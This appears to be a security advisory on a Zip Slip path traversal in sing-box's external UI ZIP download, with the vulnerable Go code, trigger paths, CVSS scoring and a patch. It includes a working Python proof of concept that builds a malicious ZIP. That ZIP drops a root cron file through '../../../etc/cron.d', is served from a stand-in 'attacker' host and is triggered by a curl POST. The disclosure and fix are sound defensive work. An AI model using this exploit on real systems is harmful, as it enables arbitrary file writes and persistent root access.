[Security] Zip Slip Path Traversal in external_ui_download
spam
# Zip Slip Arbitrary File Write via External UI Download
## Summary
A Zip Slip vulnerability exists in `sing-box`'s Clash API external UI download functionality. The `downloadZIP()` function in `experimental/clashapi/server_resources.go` extracts ZIP archive entries without validating that the destination paths remain within the intended output directory. An attacker who can control the ZIP file served at the configured download URL can write arbitrary files to any location on the filesystem accessible to the sing-box process.
## Details
### Vulnerable Code
The vulnerability resides in the `downloadZIP()` function at **`experimental/clashapi/server_resources.go`, lines 101-126**:
```go
func (s *Server) downloadZIP(body io.Reader, output string) error {
tempFile, err := filemanager.CreateTemp(s.ctx, "external-ui.zip")
if err != nil {
return err
}
defer os.Remove(tempFile.Name())
_, err = io.Copy(tempFile, body)
tempFile.Close()
if err != nil {
return err
}
reader, err := zip.OpenReader(tempFile.Name())
if err != nil {
return err
}
defer reader.Close()
trimDir := zipIsInSingleDirectory(reader.File)
for _, file := range reader.File {
if file.FileInfo().IsDir() {
continue
}
pathElements := strings.Split(file.Name, "/")
if trimDir {
pathElements = pathElements[1:]
}
saveDirectory := output
if len(pathElements) > 1 {
saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...))
}
err = os.MkdirAll(saveDirectory, 0o755)
if err != nil {
return err
}
savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1])
err = downloadZIPEntry(s.ctx, file, savePath)
if err != nil {
return err
}
}
return nil
}
```
**Line 122** is the critical line:
```go
savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1])
```
While `filepath.Join()` does invoke `filepath.Clean()` internally to normalize the path, it **does not prevent directory traversal** caused by `..` segments in the path elements. When `pathElements` contains entries such as `..`, the resulting `savePath` can escape the intended `output` directory.
Additionally, at **line 118**, `saveDirectory` is constructed by joining user-controlled path segments with the output directory:
```go
saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...))
```
This means that intermediate directory path components containing `..` can also cause the directory itself to escape the intended output location.
### Path to Trigger
1. **Startup auto-download** — `checkAndDownloadExternalUI()` at **line 16** is called during `Start()` in `server.go:177`. If the `external_ui` directory is empty, `downloadExternalUI()` is invoked automatically.
2. **API-triggered download** — The route `POST /upgrade/ui` is registered in `api_meta.go:33` via `r.Mount("/upgrade", upgradeRouter(s))`, which calls `upgradeRouter()` defined in `api_meta_upgrade.go:9`. The `updateExternalUI` handler calls `server.downloadExternalUI()` directly.
3. **Authentication** — The `/upgrade/ui` endpoint is mounted inside the authentication-protected group in `server.go:121-135`. The `authentication()` middleware at **server.go:226** bypasses authorization when `serverSecret` is empty (line 230). If no `secret` is configured, the endpoint is accessible without authentication.
4. **Download URL** — The URL is taken from `externalUIDownloadURL` if set, otherwise defaults to `https://github.com/MetaCubeX/Yacd-meta/archive/gh-pages.zip` (line 33). An attacker can exploit this by:
- Supplying a malicious `external_ui_download_url` in the configuration (if they can influence the config), or
- Compromising the default GitHub source (supply chain attack).
### Why `filepath.Join` Is Insufficient
A common misconception is that `filepath.Join` prevents directory traversal. In Go, `filepath.Join` calls `filepath.Clean`, which normalizes paths but does **not** reject paths containing `..`. For example:
```go
filepath.Join("/opt/sing-box/ui", "..", "..", "etc", "cron.d", "payload")
// Result: "/etc/cron.d/payload" — escapes the intended directory
```
No check is performed to ensure the final `savePath` remains under the `output` prefix.
## Impact
**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Medium)**
(When no API secret is configured.)
If an API secret is configured: **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — 4.3 (Medium)**
An attacker who can control the ZIP file downloaded by sing-box can:
- **Write arbitrary files** to any location accessible to the sing-box process user.
- **Overwrite existing files**, potentially disrupting service or altering application behavior.
- **Write cron jobs, systemd units, or SSH keys** for persistent access (depending on process privileges).
- **Modify sing-box configuration files** to redirect traffic, inject rules, or disable security features.
The vulnerability is particularly concerning in scenarios where:
- The Clash API `external_controller` is bound to `0.0.0.0` (default in many deployments) and no `secret` is configured.
- The `external_ui_download_url` points to a third-party or user-supplied source.
- sing-box runs as root or with elevated privileges (common on routers and self-hosted setups).
## Proof of Concept
The following Python script creates a malicious ZIP archive that exploits the Zip Slip vulnerability:
```python
#!/usr/bin/env python3
"""
PoC: Create a malicious ZIP file that exploits Zip Slip in sing-box
external UI download functionality.
This ZIP contains an entry with path traversal (../) that will write
a file outside the intended output directory when extracted.
"""
import zipfile
import io
import argparse
import sys
def create_malicious_zip(output_path, target_file, content):
"""
Create a ZIP archive with a path-traversal entry.
Args:
output_path: Path to write the malicious ZIP file
target_file: Destination path relative to the sing-box external_ui
directory (e.g., "../../etc/cron.d/payload")
content: Content to write into the target file
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal file to make zipIsInSingleDirectory() return false
# This ensures trimDir is false and full paths are preserved
zf.writestr("normal.html", "<html>normal</html>")
# Malicious entry with directory traversal
zf.writestr(target_file, content)
with open(output_path, 'wb') as f:
f.write(buf.getvalue())
print(f"[+] Malicious ZIP written to: {output_path}")
print(f"[+] Target file (after extraction): {target_file}")
print(f"[+] Content length: {len(content)} bytes")
# Verify the entry
with zipfile.ZipFile(output_path, 'r') as zf:
print("\n[*] ZIP contents:")
for info in zf.infolist():
print(f" {info.filename} ({info.file_size} bytes)")
def main():
parser = argparse.ArgumentParser(
description="PoC for sing-box Zip Slip (CVE-pending)"
)
parser.add_argument(
'-o', '--output',
default='malicious-ui.zip',
help='Output ZIP file path (default: malicious-ui.zip)'
)
parser.add_argument(
'-t', '--target',
default='../../../etc/cron.d/singbox-poc',
help='Target file path relative to external_ui dir '
'(default: ../../../etc/cron.d/singbox-poc)'
)
parser.add_argument(
'-c', '--content',
default='* * * * * root id > /tmp/poc-proof\n',
help='Content to write to the target file'
)
args = parser.parse_args()
create_malicious_zip(args.output, args.target, args.content)
if __name__ == '__main__':
main()
```
**Usage:**
```bash
# Create a malicious ZIP that writes a cron job
python3 exploit.py -o malicious-ui.zip -t '../../../etc/cron.d/singbox-poc'
# Host it and configure sing-box to download from it
python3 -m http.server 8080 # serves malicious-ui.zip
# In sing-box config:
# external_ui: "/var/lib/sing-box/ui"
# external_ui_download_url: "http://attacker:8080/malicious-ui.zip"
# Or trigger via API (if no secret is set):
# curl -X POST http://target:9090/upgrade/ui
```
**Explanation of the PoC:**
1. The ZIP contains two entries: a normal file and a malicious file with `../../../` traversal in its path.
2. The presence of two different top-level directory names (`normal.html` and the traversal path starting with `..`) causes `zipIsInSingleDirectory()` to return `false`, meaning `trimDir` is `false` and the full filename is used without stripping the first path component.
3. When `downloadZIP()` processes the malicious entry, `filepath.Join` resolves the `..` segments, causing the file to be written outside the intended `external_ui` directory.
Manual code review and verification completed.
## Remediation
Add a path containment check in `downloadZIP()` before writing any file. The check should verify that the resolved `savePath` is within the `output` directory after all path normalization:
```go
func (s *Server) downloadZIP(body io.Reader, output string) error {
// ... existing code up to the loop ...
cleanOutput := filepath.Clean(output) + string(os.PathSeparator)
for _, file := range reader.File {
if file.FileInfo().IsDir() {
continue
}
pathElements := strings.Split(file.Name, "/")
if trimDir {
pathElements = pathElements[1:]
}
saveDirectory := output
if len(pathElements) > 1 {
saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...))
}
// Added: validate saveDirectory does not escape output
if !strings.HasPrefix(filepath.Clean(saveDirectory)+string(os.PathSeparator), cleanOutput) && filepath.Clean(saveDirectory) != filepath.Clean(output) {
return fmt.Errorf("zip slip: entry %q escapes output directory", file.Name)
}
err = os.MkdirAll(saveDirectory, 0o755)
if err != nil {
return err
}
savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1])
// Added: validate savePath does not escape output
if !strings.HasPrefix(filepath.Clean(savePath), cleanOutput) {
return fmt.Errorf("zip slip: entry %q escapes output directory", file.Name)
}
err = downloadZIPEntry(s.ctx, file, savePath)
if err != nil {
return err
}
}
return nil
}
```
Additionally, consider:
- Validating that `external_ui_download_url` uses HTTPS and points to a trusted domain.
- Adding integrity verification (e.g., SHA256 checksum) for downloaded ZIP files.
- Running the download process with reduced filesystem privileges where possible.
## Credit
Discovered by icysun (icysun@qq.com). Manual code review and verification completed.
关闭于 2026-06-20 1 条评论